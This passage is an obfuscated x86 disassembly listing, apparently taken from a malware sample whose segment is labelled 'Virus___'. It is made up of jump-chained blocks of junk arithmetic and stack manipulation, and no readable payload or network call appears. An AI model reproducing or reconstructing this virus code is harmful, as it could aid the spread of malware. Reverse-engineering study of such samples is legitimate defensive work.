; ---------------------------------------------------------------------------


loc_54B297:				; CODE XREF: sub_545A2B+602Ej
		push	3BA9h
		jmp	loc_5490D3
; ---------------------------------------------------------------------------


loc_54B2A1:				; CODE XREF: sub_545A2B+778j
		push	cx
		jmp	loc_54951C
; ---------------------------------------------------------------------------


loc_54B2A8:				; CODE XREF: sub_544532-270j
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp-1Ch+arg_16+2]
		add	esp, 4
		xor	ebp, [esp-20h+arg_1A+2]
		xor	[esp-20h+arg_1A+2], ebp
		xor	ebp, [esp-20h+arg_1A+2]
		jmp	loc_54DDAD
; ---------------------------------------------------------------------------
		push	[esp-20h+arg_1A+2]
		push	[esp-1Ch+arg_16+2]
		pop	ecx
		push	ebp
		push	esp
		jmp	loc_5444FD
; ---------------------------------------------------------------------------


loc_54B2D4:				; CODE XREF: sub_545A2B-E84j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_54D104
; ---------------------------------------------------------------------------


loc_54B2E7:				; CODE XREF: sub_545A2B+2E39j
		and	ecx, 6AB72F64h
		sub	ecx, 0AB088AF6h
		jmp	loc_54816A
; ---------------------------------------------------------------------------


loc_54B2F8:				; CODE XREF: sub_545A2B+58F3j
		pop	esi
		add	ebp, esi
		mov	esi, [esp-46h+arg_42]
		add	esp, 4
		jmp	loc_54BC28
; ---------------------------------------------------------------------------


loc_54B309:				; CODE XREF: sub_545A2B+60BEj
		pop	[esp-4Ah+arg_46]
		mov	esp, [esp+0]
		push	edi
		push	esp
		pop	edi
		jmp	loc_54CA82
; ---------------------------------------------------------------------------


loc_54B317:				; CODE XREF: sub_545A2B+33B7j
		pop	eax
		push	esi
		push	4
		jmp	loc_54B2F8
; ---------------------------------------------------------------------------


loc_54B323:				; CODE XREF: sub_545A2B+8CA7j
		sub	edx, 25B72824h
		jmp	loc_54F2F7
; ---------------------------------------------------------------------------


loc_54B32E:				; CODE XREF: Virus___:0054439Cj
		sub	esp, 4
		mov	[esp-0Eh+arg_A], esi
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], esp
		jmp	loc_54666C
; ---------------------------------------------------------------------------


loc_54B345:				; CODE XREF: sub_545A2B+7F6Ej
		shl	ecx, 6
		shl	ecx, 4
		jmp	loc_54A4C3
; ---------------------------------------------------------------------------


loc_54B350:				; CODE XREF: sub_545A2B-1110j
		push	small 284h
		mov	word ptr [esp-4Ah+arg_46], cx
		mov	ch, 6
		jmp	loc_54E5D3
; ---------------------------------------------------------------------------


loc_54B35F:				; CODE XREF: sub_543CBA+Cj
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		push	ecx
		push	3FC20A3Fh
		jmp	loc_5434A9
; ---------------------------------------------------------------------------


loc_54B373:				; CODE XREF: sub_545A2B+7A34j
		dec	ebx
		not	ebx
		jmp	loc_549651
; ---------------------------------------------------------------------------


loc_54B37B:				; CODE XREF: sub_545A2B+3DEFj
		push	ebx
		mov	ebx, 33896F6Ah
		push	ecx
		push	1B963E12h
		jmp	loc_54C004
; ---------------------------------------------------------------------------


loc_54B38C:				; CODE XREF: sub_545A2B+2AF1j
		sub	bl, al
		jmp	loc_544080
; ---------------------------------------------------------------------------


loc_54B393:				; CODE XREF: sub_545A2B+53C4j
		mov	[esp-38h+arg_32+2], eax
		mov	eax, 19DE1F38h
		sub	ebx, eax
		jmp	loc_54A2BA
; ---------------------------------------------------------------------------


loc_54B3A2:				; CODE XREF: sub_545A2B+3036j
		mov	esp, [esp-40h+arg_3A+2]
		jmp	loc_549782
; ---------------------------------------------------------------------------


loc_54B3AA:				; CODE XREF: sub_545A2B+3ED8j
		mov	edx, 7FD97ED0h
		push	ecx
		jmp	loc_548CAE
; ---------------------------------------------------------------------------


loc_54B3B5:				; CODE XREF: sub_545A2B+6EB7j
		push	esi
		push	ecx
		mov	ecx, 1E34272Fh
		mov	esi, ecx
		jmp	loc_54D8C1
; ---------------------------------------------------------------------------


loc_54B3C3:				; CODE XREF: sub_545A2B+A18j
		pop	ebx
		xor	edi, [esp-44h+arg_3E+2]
		xor	[esp-44h+arg_3E+2], edi
		xor	edi, [esp-44h+arg_3E+2]
		mov	esp, [esp-44h+arg_3E+2]
		jmp	loc_5491A4
; ---------------------------------------------------------------------------


loc_54B3D5:				; CODE XREF: sub_54DD5F+19j
		mov	ebx, 723E2097h
		jmp	loc_546258
; ---------------------------------------------------------------------------


loc_54B3DF:				; CODE XREF: sub_545A2B+99A5j
		pop	edx
		shr	eax, 10h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp-44h+arg_3E+2], eax
		xchg	ebp, [esp-44h+arg_3E+2]
		jmp	sub_54585B
; ---------------------------------------------------------------------------


loc_54B3F6:				; CODE XREF: sub_545A2B+94A5j
		not	bl
		mov	dl, bl
		pop	ebx
		push	ebx
		mov	bl, 1Dh
		jmp	loc_546194
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		mov	bl, 9Eh
		sub	al, bl
		pop	bx
		add	al, 0A6h
		sub	al, bl
		push	ebx
		push	eax
		jmp	loc_544865
; ---------------------------------------------------------------------------


loc_54B417:				; CODE XREF: sub_545A2B-32Dj
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp-1Ch+arg_16+2]
		mov	esp, [esp-1Ch+arg_16+2]
		div	cl
		movzx	cx, ah
		push	494Eh
		mov	[esp-18h+arg_12+2], ebx
		push	esp
		mov	ebx, [esp-14h+arg_E+2]
		push	edx
		jmp	loc_546409
; ---------------------------------------------------------------------------


loc_54B43D:				; CODE XREF: sub_545A2B+1721j
		neg	edi
		sub	edi, 0BC60F6F8h
		xor	eax, edi
		pop	edi
		push	eax
		push	esi
		jmp	loc_54687F
; ---------------------------------------------------------------------------


loc_54B44F:				; CODE XREF: sub_545A2B+17C1j
		mov	ebx, 2
		sub	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp-50h+arg_4C], ecx
		push	[esp-50h+arg_50]
		pop	ecx
		pop	[esp-50h+arg_4C]
		pop	esp
		mov	word ptr [esp-58h+arg_54], cx
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B472:				; CODE XREF: sub_545A2B+5B3Cj
		push	edx
		mov	edx, esp
		push	ebx
		push	0F2B1363h
		jmp	loc_543EBE
; ---------------------------------------------------------------------------


loc_54B480:				; CODE XREF: sub_545A2B+36BFj
		neg	ebx
		jmp	loc_54F2B0
; ---------------------------------------------------------------------------


loc_54B487:				; CODE XREF: sub_545A2B+1CC5j
		pop	esp
		pop	[esp-44h+arg_3E+2]
		pop	dword ptr [edi+24h]
		jmp	loc_54B253
; ---------------------------------------------------------------------------


loc_54B493:				; CODE XREF: sub_545A2B+1A68j
		pop	ebp
		sub	[esp-48h+arg_42+2], 49FC67F8h
		add	[esp-48h+arg_42+2], eax
		push	ebx
		mov	ebx, 49FC67F8h
		add	[esp-44h+arg_42+2], ebx
		mov	ebx, [esp-44h+arg_3E+2]
		jmp	loc_54E2B8
; ---------------------------------------------------------------------------


loc_54B4B0:				; CODE XREF: sub_545A2B+4C60j
		add	esp, 4
		pop	[esp-54h+arg_50]
		jmp	loc_54B93A
; ---------------------------------------------------------------------------


loc_54B4BE:				; CODE XREF: sub_54D166+Aj
		mov	[esp-58h+arg_54], ebx
		push	esp
		pop	ebx
		push	esi
		push	ebx
		push	620423C3h
		pop	ebx
		or	ebx, 42D170ABh
		xor	ebx, 7ECC62B8h
		and	ebx, 6C0A5C66h
		sub	ebx, 0C08103Eh
		mov	esi, ebx
		pop	ebx
		sub	ebx, 67112427h
		add	ebx, esi
		add	ebx, 67112427h
		mov	esi, [esp-54h+arg_50]
		push	ecx
		mov	ecx, esp
		jmp	loc_544FE6
; ---------------------------------------------------------------------------


loc_54B4FF:				; CODE XREF: sub_545A2B+50C5j
		xchg	edi, [esp-20h+arg_1A+2]
		pop	esp
		jmp	loc_54A04F
; ---------------------------------------------------------------------------


loc_54B508:				; CODE XREF: sub_545A2B+45D7j
		add	esi, 4E9C78D5h
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp-3Ch+arg_36+2]
		pop	esp
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp-44h+arg_3E+2]
		xor	[esp-44h+arg_3E+2], ebp
		xor	ebp, [esp-44h+arg_3E+2]
		pop	esp
		mov	dx, word ptr [esp-48h+arg_42+2]
		sub	esp, 4
		jmp	loc_54EB96
; ---------------------------------------------------------------------------


loc_54B536:				; CODE XREF: sub_545A2B+2451j
		push	ebx
		push	5F60h
		mov	[esp-34h+arg_2E+2], esp
		add	[esp-34h+arg_2E+2], 4
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_54903E
; ---------------------------------------------------------------------------


loc_54B558:				; CODE XREF: sub_545A2B+3201j
		pop	edx
		sub	dl, 72h
		sub	dl, cl
		jmp	loc_545795
; ---------------------------------------------------------------------------


loc_54B563:				; DATA XREF: Virus___:00542E08o
		mov	ax, word ptr [esp-2Ah+arg_26]
		jmp	loc_54B472
; ---------------------------------------------------------------------------


loc_54B56C:				; CODE XREF: sub_545A2B+1643j
		sub	ebx, 1D8A4798h
		add	ebx, esi
		add	ebx, 1D8A4798h
		pop	esi
		jmp	loc_549A10
; ---------------------------------------------------------------------------


loc_54B580:				; CODE XREF: sub_545A2B-2776j
		mov	edx, esp
		jmp	loc_549ADC
; ---------------------------------------------------------------------------


loc_54B587:				; CODE XREF: sub_545A2B+1BA8j
		mov	ch, 0CAh
		not	ch
		jmp	loc_5469CF
; ---------------------------------------------------------------------------


loc_54B590:				; CODE XREF: sub_545A2B+2C9Ej
		push	ebx
		mov	ebx, 1B32EB68h
		jmp	loc_54D123
; ---------------------------------------------------------------------------


loc_54B59B:				; CODE XREF: sub_545A2B-2638j
		pop	edi
		add	eax, ecx
		push	[esp-2Ch+arg_26+2]
		pop	ecx
		add	esp, 4
		xor	eax, [esp-30h+arg_2A+2]
		xor	[esp-30h+arg_2A+2], eax
		xor	eax, [esp-30h+arg_2A+2]
		mov	esp, [esp-30h+arg_2A+2]
		push	10D6h
		jmp	loc_54C483
; ---------------------------------------------------------------------------


loc_54B5BB:				; CODE XREF: sub_545A2B+7A44j
		sub	ebx, ebp
		pop	ebp
		xor	ebx, 41765A59h
		xor	ebx, 703A1739h
		sub	ebx, 482167B2h
		mov	edi, ebx
		pop	ebx
		sub	edi, 7D2B3F8Ch
		add	edx, edi
		pop	edi
		push	ebp
		jmp	loc_54A1C3
; ---------------------------------------------------------------------------


loc_54B5E2:				; CODE XREF: sub_545A2B+F9Fj
		add	ecx, 2EE41E02h
		add	ecx, edi
		sub	ecx, 2EE41E02h
		mov	edi, [esp-2Ch+arg_26+2]
		add	esp, 4
		jmp	loc_5460AC
; ---------------------------------------------------------------------------


loc_54B5FB:				; CODE XREF: sub_545A2B+67B3j
		pop	esp
		mov	word ptr [esp-34h+arg_2E+2], di
		sub	esp, 4
		mov	[esp-30h+arg_2A+2], eax
		push	dx
		push	eax
		mov	ax, 6694h
		xor	ax, 788Bh
		not	ax
		inc	ax
		neg	ax
		not	ax
		add	ax, 1E22h
		jmp	loc_54EB40
; ---------------------------------------------------------------------------


loc_54B628:				; CODE XREF: sub_545A2B+7DF6j
		push	6161h
		mov	[esp-26h+arg_22], ecx
		push	[esp-26h+arg_26]
		pop	ecx
		pop	[esp-26h+arg_22]
		mov	esp, [esp-2Ah+arg_26]
		ror	[esp-2Ah+arg_26], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B644:				; CODE XREF: sub_545A2B+BC4j
		pop	ecx
		jmp	loc_54D5F5
; ---------------------------------------------------------------------------


loc_54B64A:				; CODE XREF: sub_545A2B+5764j
		push	esp
		pop	ecx
		push	edx
		mov	edx, 3D954535h
		jmp	sub_54E352
; ---------------------------------------------------------------------------


loc_54B657:				; CODE XREF: sub_545A2B+9920j
		xor	esi, ecx
		xor	ecx, esi
		xor	ecx, 4D464389h
		or	ecx, 57EF15BBh
		sub	esp, 4
		mov	[esp-18h+arg_12+2], ebp
		mov	ebp, 2004738Fh
		neg	ebp
		shl	ebp, 5
		push	ebx
		jmp	loc_54788E
; ---------------------------------------------------------------------------


loc_54B67D:				; CODE XREF: sub_545A2B+6704j
		push	eax
		jmp	loc_548C5B
; ---------------------------------------------------------------------------


loc_54B683:				; CODE XREF: sub_545A2B+34BCj
		pop	ebx
		inc	ebx
		or	ebx, 769D3BF6h
		push	esi
		mov	esi, 50803E13h
		or	ebx, esi
		pop	esi
		jmp	loc_545FF5
; ---------------------------------------------------------------------------


loc_54B699:				; CODE XREF: sub_545A2B+39F7j
		mov	edi, 118F4214h
		xor	edx, edi
		pop	edi
		add	ecx, edx
		pop	edx
		add	ecx, edx
		sub	ecx, 2584189Ch
		jmp	loc_5495D2
; ---------------------------------------------------------------------------


loc_54B6B1:				; CODE XREF: sub_545A2B-A7Aj
		xor	ebp, 608918BFh
		sub	edi, 3C576B74h
		add	edi, 75CD7FE1h
		add	edi, ebp
		sub	edi, 75CD7FE1h
		push	edx
		mov	edx, 794C2F1Eh
		jmp	loc_547C8A
; ---------------------------------------------------------------------------


loc_54B6D6:				; CODE XREF: sub_545A2B-BE4j
		mov	esp, [esp-16h+arg_12]
		mov	eax, [esp-16h+arg_12]
		jmp	loc_54AAC0
; ---------------------------------------------------------------------------


loc_54B6E1:				; CODE XREF: sub_545A2B+16B7j
		push	esi
		push	eax
		push	24512388h
		pop	eax
		or	eax, 215127A8h
		jmp	loc_546467
; ---------------------------------------------------------------------------


loc_54B6F3:				; CODE XREF: sub_545A2B-134Aj
		pop	edi
		pop	ebp
		and	eax, esi
		mov	esi, [esp-36h+arg_32]
		sub	esp, 4
		mov	[esp-32h+arg_2E], edi
		push	esp
		pop	edi
		jmp	loc_5477CC
; ---------------------------------------------------------------------------


loc_54B70A:				; CODE XREF: sub_545A2B+6402j
		sub	esi, 200253Ch
		add	ebp, esi
		pop	esi
		jmp	loc_546C14
; ---------------------------------------------------------------------------


loc_54B718:				; CODE XREF: sub_545A2B-499j
		sub	esp, 4
		mov	[esp-10h+arg_A+2], ecx
		push	eax
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		push	edx
		mov	dl, 94h
		mov	cl, dl
		mov	edx, [esp-4+arg_0]
		push	edi
		mov	edi, esp
		jmp	loc_545497
; ---------------------------------------------------------------------------


loc_54B738:				; CODE XREF: Virus___:00544A26j
		and	eax, 6D9B067Fh
		push	ebp
		mov	ebp, 768C3FB6h
		jmp	loc_5487E1
; ---------------------------------------------------------------------------


loc_54B748:				; CODE XREF: sub_544F70+9j
		sub	eax, ebp
		mov	ebp, [esp+4+var_4]
		jmp	loc_54C5B2
; ---------------------------------------------------------------------------


loc_54B752:				; CODE XREF: sub_545A2B+4E7Dj
		push	750Ch
		mov	[esp+0], ecx
		push	eax
		mov	eax, 1004003Dh
		mov	ecx, eax
		pop	eax
		sub	edx, ecx
		pop	ecx
		jmp	loc_54DB5A
; ---------------------------------------------------------------------------


loc_54B76B:				; DATA XREF: Virus___:00542D30o
		lodsd
		xor	eax, ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_544CDF
; ---------------------------------------------------------------------------


loc_54B782:				; CODE XREF: sub_545A2B+9700j
		pop	ebx
		jmp	loc_54E5DB
; ---------------------------------------------------------------------------


loc_54B788:				; CODE XREF: sub_545A2B+8E55j
		add	esp, 4
		sub	esp, 4
		jmp	loc_544874
; ---------------------------------------------------------------------------


loc_54B796:				; CODE XREF: sub_545A2B+6252j
		add	bl, al
		jmp	loc_5480F7
; ---------------------------------------------------------------------------


loc_54B79D:				; CODE XREF: sub_545A2B+8654j
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		xchg	ecx, [esp-10h+arg_A+2]
		pop	esp
		mov	ax, word ptr [esp-14h+arg_E+2]
		sub	esp, 4
		mov	[esp-10h+arg_A+2], ebp
		push	esp
		pop	ebp
		push	esi
		jmp	loc_54DEB5
; ---------------------------------------------------------------------------


loc_54B7BD:				; CODE XREF: sub_545A2B+5786j
		mov	ecx, [esp-1Ch+arg_16+2]
		add	esp, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-24h+arg_1E+2]
		mov	esp, [esp-24h+arg_1E+2]
		add	esp, 4
		push	[esp-28h+arg_22+2]
		push	[esp-24h+arg_1E+2]
		pop	ecx
		add	esp, 4
		push	ebp
		jmp	loc_543C74
; ---------------------------------------------------------------------------


loc_54B7E5:				; CODE XREF: sub_545A2B+4A1j
		push	ebx
		mov	bh, 2Bh
		push	ecx
		mov	cl, 51h
		sub	cl, 64h
		jmp	loc_54C2A2
; ---------------------------------------------------------------------------


loc_54B7F3:				; CODE XREF: sub_545A2B-144Cj
		mov	eax, 513B5596h
		sub	esi, eax
		pop	eax
		jmp	loc_54F0AC
; ---------------------------------------------------------------------------


loc_54B800:				; CODE XREF: sub_545A2B-1762j
		pop	ebp
		push	2CA5h
		jmp	loc_546CDD
; ---------------------------------------------------------------------------


loc_54B80B:				; CODE XREF: sub_545A2B+4BBFj
		pop	ebp
		push	edi
		push	[esp-1Eh+arg_1E]
		pop	edi
		pop	[esp-1Eh+arg_1A]
		mov	esp, [esp-22h+arg_1E]
		mov	fs:[edx], al
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B820:				; CODE XREF: sub_545A2B+3830j
		push	edx
		mov	edx, 71F656D3h
		jmp	loc_549291
; ---------------------------------------------------------------------------


loc_54B82B:				; CODE XREF: sub_545A2B+7028j
		pop	ebx
		push	small 15Ch
		mov	word ptr [esp-38h+arg_32+2], bx
		push	eax
		mov	al, 0D2h
		push	dx
		mov	dh, bl
		jmp	loc_545D44
; ---------------------------------------------------------------------------


loc_54B840:				; CODE XREF: sub_545A2B-2903j
		push	ecx
		mov	ecx, 19252484h
		mov	edx, 19252582h
		sub	edx, ecx
		pop	ecx
		push	edx
		pop	esi
		pop	edx
		and	[edi+1Ch], esi
		mov	esi, [esp-1Ah+arg_16]
		add	esp, 4
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B862:				; CODE XREF: sub_545A2B+6799j
		pop	ebp
		push	ecx
		jmp	loc_54C886
; ---------------------------------------------------------------------------


loc_54B869:				; CODE XREF: sub_545A2B+9344j
		mov	edx, [esp-1Eh+arg_1A]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp-1Eh+arg_1A]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 7EF8375Dh
		jmp	loc_54DD7D
; ---------------------------------------------------------------------------


loc_54B888:				; CODE XREF: sub_545A2B+4DA9j
		add	al, 63h
		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_547D9F
; ---------------------------------------------------------------------------


loc_54B898:				; CODE XREF: Virus___:00544D74j
		mov	ebp, 112F1D37h
		sub	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 3B63132Eh
		jmp	loc_545A23
; ---------------------------------------------------------------------------


loc_54B8AB:				; CODE XREF: sub_545A2B+619Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_54F1E7
; ---------------------------------------------------------------------------


loc_54B8BC:				; CODE XREF: sub_545A2B+6960j
		push	5463F93h
		pop	ebp
		jmp	loc_54A0E3
; ---------------------------------------------------------------------------


loc_54B8C7:				; CODE XREF: sub_545A2B+54A0j
		sub	dh, 5Ch
		or	bl, dh
		pop	edx
		jmp	loc_5432F1
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-36h+arg_32]
		sub	esp, 4
		jmp	loc_54C2D8
; ---------------------------------------------------------------------------


loc_54B8E1:				; CODE XREF: sub_545A2B-1350j
		pop	esi
		pop	ebx
		mov	esi, ebp
		pop	ebp
		shl	esi, 7
		shr	esi, 8
		push	0
		add	[esp-32h+arg_2E], 31BF715Eh
		jmp	loc_54784C
; ---------------------------------------------------------------------------


loc_54B8FD:				; CODE XREF: sub_545A2B+98C7j
		mov	word ptr [esp-32h+arg_2E], cx
		push	ebx
		mov	bh, 0D1h
		mov	cl, 60h
		sub	cl, bh
		mov	ebx, [esp-2Eh+arg_2A]
		jmp	loc_54A1A2
; ---------------------------------------------------------------------------


loc_54B910:				; CODE XREF: sub_545A2B+896Cj
		pop	ax
		jmp	loc_54E6D7
; ---------------------------------------------------------------------------


loc_54B917:				; CODE XREF: sub_545A2B+4ACAj
		add	esp, 4
		xor	ecx, edi
		push	[esp-36h+arg_32]
		pop	edi
		jmp	loc_54735C
; ---------------------------------------------------------------------------


loc_54B925:				; DATA XREF: Virus___:00542E1Co
		lodsd
		push	ebx
		mov	ebx, 0CCB211Eh
		not	ebx
		jmp	loc_54402D
; ---------------------------------------------------------------------------


loc_54B933:				; CODE XREF: sub_545A2B+188j
		add	edx, eax
		jmp	loc_5430A6
; ---------------------------------------------------------------------------


loc_54B93A:				; CODE XREF: sub_545A2B+5A8Ej
		mov	esp, [esp-58h+arg_54]
		xor	byte ptr [esp-58h+arg_54], al
		pushf
		jmp	loc_549084
; ---------------------------------------------------------------------------


loc_54B946:				; CODE XREF: sub_545A2B-2A97j
		add	edi, ebp
		push	ebp
		mov	ebp, 62EA6FB9h
		add	ebp, 0FBEEE556h
		sub	edi, ebp
		jmp	loc_54A5E9
; ---------------------------------------------------------------------------


loc_54B95B:				; CODE XREF: sub_545A2B+7CBEj
		mov	ebx, 4E3410E9h
		jmp	loc_54F08E
; ---------------------------------------------------------------------------


loc_54B965:				; CODE XREF: sub_545A2B+673Cj
		push	ecx
		push	eax
		push	edx
		push	ecx
		mov	ch, bl
		mov	dl, ch
		pop	ecx
		mov	ah, dl
		pop	edx
		jmp	loc_54C7F1
; ---------------------------------------------------------------------------


loc_54B976:				; CODE XREF: sub_545A2B+1CCDj
		push	ecx
		mov	ecx, 4
		jmp	loc_54983C
; ---------------------------------------------------------------------------


loc_54B981:				; CODE XREF: sub_545A2B+199Aj
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 59244E45h
		neg	eax
		jmp	loc_5450AB
; ---------------------------------------------------------------------------


loc_54B995:				; CODE XREF: sub_545A2B+4DA0j
		pop	esp
		mov	[esp-2Eh+arg_2A], edx
		jmp	loc_54DAEF
; ---------------------------------------------------------------------------


loc_54B99E:				; CODE XREF: sub_545A2B+28A1j
		push	ebx
		mov	bh, 41h
		push	ax
		mov	ah, 1Bh
		or	bh, ah
		mov	ax, word ptr [esp-3Eh+arg_3A]
		jmp	loc_54BA5E
; ---------------------------------------------------------------------------


loc_54B9B0:				; CODE XREF: sub_545A2B-2421j
		add	edi, 754635B6h
		jmp	loc_5493EF
; ---------------------------------------------------------------------------


loc_54B9BB:				; DATA XREF: Virus___:00542E70o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp-28h+arg_22+2], al
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54B9CA:				; CODE XREF: sub_545A2B+4DFBj
		mov	esi, edi
		pop	edi
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		jmp	loc_54F1BA
; ---------------------------------------------------------------------------


loc_54B9F8:				; CODE XREF: sub_545A2B+6475j
		mov	edi, esp
		push	26A4h
		mov	[esp+0], esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	eax
		push	edi
		jmp	loc_54A884
; ---------------------------------------------------------------------------


loc_54BA16:				; CODE XREF: sub_545A2B+72A0j
		dec	edx
		jmp	loc_54BA42
; ---------------------------------------------------------------------------


loc_54BA1C:				; CODE XREF: sub_545A2B+24E2j
		pop	[esp-20h+arg_1A+2]
		pop	esp
		or	word ptr [esp-28h+arg_22+2], ax
		pushf
		jmp	loc_548FEB
; ---------------------------------------------------------------------------


loc_54BA2A:				; CODE XREF: sub_545A2B+23ACj
		xor	ebx, [esp-2Ah+arg_26]
		jmp	loc_547FF5
; ---------------------------------------------------------------------------


loc_54BA32:				; CODE XREF: sub_545A2B+81E6j
		pop	ecx
		jmp	loc_54DE65
; ---------------------------------------------------------------------------


loc_54BA38:				; CODE XREF: sub_545A2B+77BBj
		mov	ecx, 78B229A9h
		jmp	loc_543B45
; ---------------------------------------------------------------------------


loc_54BA42:				; CODE XREF: sub_545A2B+5FECj
		xor	edx, 7192D381h
		jmp	loc_54F242
; ---------------------------------------------------------------------------


loc_54BA4D:				; CODE XREF: sub_545A2B+2ED5j
		add	bh, 30h
		pop	ecx
		jmp	loc_54814B
; ---------------------------------------------------------------------------


loc_54BA56:				; CODE XREF: Virus___:00544B49j
		push	eax
		push	esp
		pop	eax
		jmp	loc_54B297
; ---------------------------------------------------------------------------


loc_54BA5E:				; CODE XREF: sub_545A2B+5F80j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		jmp	loc_54780F
; ---------------------------------------------------------------------------


loc_54BA6F:				; CODE XREF: sub_545A2B+67DDj
		mov	cx, word ptr [esp-3Ah+arg_36]
		push	176h
		mov	[esp-36h+arg_32], ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_54DBC5
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-32h+arg_2E]
		push	esi
		jmp	loc_549CB1
; ---------------------------------------------------------------------------


loc_54BA8D:				; CODE XREF: sub_545A2B-26Aj
		pop	eax
		add	esp, 4
		push	eax
		jmp	loc_54A0CB
; ---------------------------------------------------------------------------


loc_54BA9A:				; CODE XREF: sub_545A2B+41D8j
		push	[esp+16h+var_16]
		mov	ebx, [esp+1Ah+var_1C+2]
		push	eax
		push	esp
		mov	eax, [esp+22h+var_24+2]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	esi
		push	edi
		jmp	loc_54B1C0
; ---------------------------------------------------------------------------


loc_54BAB8:				; CODE XREF: sub_545A2B+7Fj
		mov	edx, esi
		pop	esi
		neg	edx
		push	ecx
		jmp	loc_54A10A
; ---------------------------------------------------------------------------


loc_54BAC3:				; CODE XREF: sub_545A2B-1173j
		mov	[esp-4Ch+arg_46+2], edi
		push	esp
		mov	edi, [esp-48h+arg_42+2]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		push	6CE3h
		mov	[esp-48h+arg_42+2], edi
		push	[esp-48h+arg_46+2]
		pop	edi
		jmp	loc_54B309
; ---------------------------------------------------------------------------


loc_54BAEE:				; CODE XREF: sub_545A2B+9498j
		xor	ch, dh
		mov	edx, [esp-48h+arg_42+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-44h+arg_3E+2]
		pop	esp
		inc	ch
		push	449Dh
		mov	[esp-44h+arg_3E+2], edx
		push	ebx
		mov	bl, 0A3h
		sub	bl, 66h
		sub	bl, 0A6h
		jmp	loc_546C81
; ---------------------------------------------------------------------------


loc_54BB1B:				; CODE XREF: sub_545A2B+1C1Cj
		xor	eax, 0EEB0BB8Ah
		mov	edx, eax
		pop	eax
		neg	edx
		not	edx
		push	ebp
		jmp	loc_54662B
; ---------------------------------------------------------------------------


loc_54BB2D:				; CODE XREF: sub_545A2B+4DC9j
		add	esi, ebp
		add	esi, 621E6B13h
		pop	ebp
		push	edi
		mov	edi, 1D3C1E29h
		add	edi, 1
		shr	edi, 6
		inc	edi
		add	edi, 52BD3FD9h
		add	esi, edi
		pop	edi
		add	esi, eax
		sub	esi, 53323052h
		push	ebp
		mov	ebp, 65B512B8h
		sub	esi, 3CEE02DEh
		add	esi, 246E1415h
		sub	esi, ebp
		jmp	loc_5431BC
; ---------------------------------------------------------------------------


loc_54BB70:				; CODE XREF: sub_545A2B+3057j
		mov	[esp-24h+arg_1E+2], esi
		push	esp
		pop	esi
		push	76E0h
		jmp	loc_54BF51
; ---------------------------------------------------------------------------


loc_54BB7F:				; CODE XREF: sub_545A2B+56CAj
		sub	al, bh
		add	al, 2
		pop	ebx
		push	edx
		jmp	loc_549514
; ---------------------------------------------------------------------------


loc_54BB8A:				; CODE XREF: sub_543710+1E7j
		sub	ebx, 28F028Fh
		add	ebx, 130F2DC1h
		pop	esi
		push	ebx
		push	[esp-20h+arg_1E+2]
		pop	ebx
		jmp	loc_54D7C6
; ---------------------------------------------------------------------------


loc_54BBA2:				; CODE XREF: sub_545A2B+29B3j
		add	ax, dx
		pop	dx
		add	ax, 5F3Bh
		add	ax, bx
		sub	ax, 5F3Bh
		sub	ax, 7F12h
		sub	esp, 2
		mov	word ptr [esp-22h+arg_1E], cx
		push	small 845h
		mov	cx, word ptr [esp-20h+arg_1A+2]
		jmp	loc_54B8AB
; ---------------------------------------------------------------------------


loc_54BBCD:				; CODE XREF: sub_545A2B+2477j
		pop	edx
		add	edx, eax
		jmp	loc_5473DF
; ---------------------------------------------------------------------------


loc_54BBD5:				; CODE XREF: sub_545A2B+210j
		mov	eax, 7523785Ch
		mov	esi, 2284151Bh
		xor	esi, eax
		pop	eax
		mov	ecx, esi
		pop	esi
		not	ecx
		and	ecx, 304C210Eh
		sub	ecx, 5F54787Dh
		push	eax
		mov	eax, 5D32155Eh
		xor	eax, 5CD7CF5Ah
		xor	ecx, eax
		pop	eax
		jmp	loc_54F0F3
; ---------------------------------------------------------------------------


loc_54BC06:				; CODE XREF: sub_545A2B+1438j
		inc	ecx
		sub	ecx, 0C99F15Dh
		mov	eax, ecx
		jmp	loc_549868
; ---------------------------------------------------------------------------


loc_54BC14:				; CODE XREF: sub_545A2B+8FFj
		push	edi
		mov	edi, 3E113ECCh
		shl	edi, 8
		sub	edi, 12032B59h
